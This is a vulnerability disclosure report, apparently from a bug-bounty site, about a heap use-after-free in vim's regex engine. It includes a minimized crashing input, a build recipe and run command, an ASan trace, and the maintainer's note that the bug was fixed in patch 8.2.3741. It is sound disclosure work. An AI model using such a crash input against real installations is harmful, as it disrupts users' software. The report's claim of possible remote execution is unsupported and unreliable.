Use After Free in vim/vim

Valid

Reported on

Dec 3rd 2021


✍️ Description

When fuzzing vim commit 021ef351c (works with latest build and latest commit 04b7b4b per this time of this report) v8.2.3728, I discovered a use after free. This crash triggered with only clang 10 and ASan. And I'm testing with clang 13 it doesn't crash so I assume this crash doesn't happen in clang >= 11

Proof of Concept

Here is the minimized poc

)/\v/
o/\%')

How to build

LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!

ASan stack trace:

aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
=================================================================
==3190301==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006631 at pc 0x000000988ebb bp 0x7fffffff5e40 sp 0x7fffffff5e38
READ of size 1 at 0x602000006631 thread T0
    #0 0x988eba in utf_ptr2char /root/vim/src/mbyte.c:1788:9
    #1 0xc6be7b in nfa_regmatch /root/vim/src/./regexp_nfa.c:5850:13
    #2 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
    #3 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
    #4 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
    #5 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
    #6 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
    #7 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
    #8 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #9 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #10 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #11 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #12 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #13 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #14 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #15 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #16 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #17 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #18 0x11fd74c in main /root/vim/src/main.c:426:12
    #19 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #20 0x41fe7d in _start (/root/vim/src/vim+0x41fe7d)

0x602000006631 is located 1 bytes inside of 2-byte region [0x602000006630,0x602000006632)
freed by thread T0 here:
    #0 0x49833d in free (/root/vim/src/vim+0x49833d)
    #1 0x4c89e9 in vim_free /root/vim/src/alloc.c:615:2
    #2 0x9a3660 in ml_flush_line /root/vim/src/memline.c:4060:2
    #3 0x9b6004 in ml_get_buf /root/vim/src/memline.c:2647:2
    #4 0x9b2b42 in ml_get /root/vim/src/memline.c:2563:12
    #5 0x9f43ca in dec /root/vim/src/misc2.c:424:6
    #6 0x9f46ae in decl /root/vim/src/misc2.c:443:14
    #7 0xf10009 in findsent /root/vim/src/textobject.c:80:10
    #8 0x963e52 in getmark_buf_fnum /root/vim/src/mark.c:363:6
    #9 0x9635f8 in getmark_buf /root/vim/src/mark.c:293:12
    #10 0xc764cb in nfa_regmatch /root/vim/src/./regexp_nfa.c:6838:16
    #11 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
    #12 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
    #13 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
    #14 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
    #15 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
    #16 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
    #17 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #18 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #19 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #20 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #21 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #22 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #23 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #24 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #25 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #26 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #27 0x11fd74c in main /root/vim/src/main.c:426:12
    #28 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

previously allocated by thread T0 here:
    #0 0x4985bd in malloc (/root/vim/src/vim+0x4985bd)
    #1 0x4c825d in lalloc /root/vim/src/alloc.c:244:11
    #2 0x4c8173 in alloc /root/vim/src/alloc.c:151:12
    #3 0xe1d594 in vim_strnsave /root/vim/src/strings.c:44:9
    #4 0x9b71fd in ml_replace_len /root/vim/src/memline.c:3437:13
    #5 0x9b6fa3 in ml_replace /root/vim/src/memline.c:3400:12
    #6 0x74f068 in ex_substitute /root/vim/src/ex_cmds.c:4654:4
    #7 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #8 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #9 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #10 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #11 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #12 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #13 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #14 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #15 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #16 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #17 0x11fd74c in main /root/vim/src/main.c:426:12
    #18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free /root/vim/src/mbyte.c:1788:9 in utf_ptr2char
Shadow bytes around the buggy address:
  0x0c047fff8c70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c90: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
  0x0c047fff8ca0: fa fa fd fa fa fa 03 fa fa fa 03 fa fa fa 03 fa
  0x0c047fff8cb0: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00
=>0x0c047fff8cc0: fa fa 01 fa fa fa[fd]fa fa fa fd fd fa fa 00 03
  0x0c047fff8cd0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8ce0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 03
  0x0c047fff8cf0: fa fa fd fd fa fa 00 02 fa fa 05 fa fa fa fa fa
  0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3190301==ABORTING

💥 Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

We are processing your report and will contact the vim team within 24 hours. a year ago
We have contacted a member of the vim team and are waiting to hear back a year ago
Bram Moolenaar
a year ago

I could not reproduce it with the POC provided, but can identify the problem by the stack traces. I'll make a patch that has easier to understand reproduction commands.

Bram Moolenaar validated this vulnerability a year ago
Muhammad Aldo Firmansyah has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bram Moolenaar
a year ago

Fix with a regression test in patch 8.2.3741. Valgrind shows the use of freed memory running the test without the fix.

Bram Moolenaar marked this as fixed in 8.2 with commit e031fe a year ago
Bram Moolenaar has been awarded the fix bounty
This vulnerability will not receive a CVE
Muhammad
a year ago

Researcher


Thanks!

to join this conversation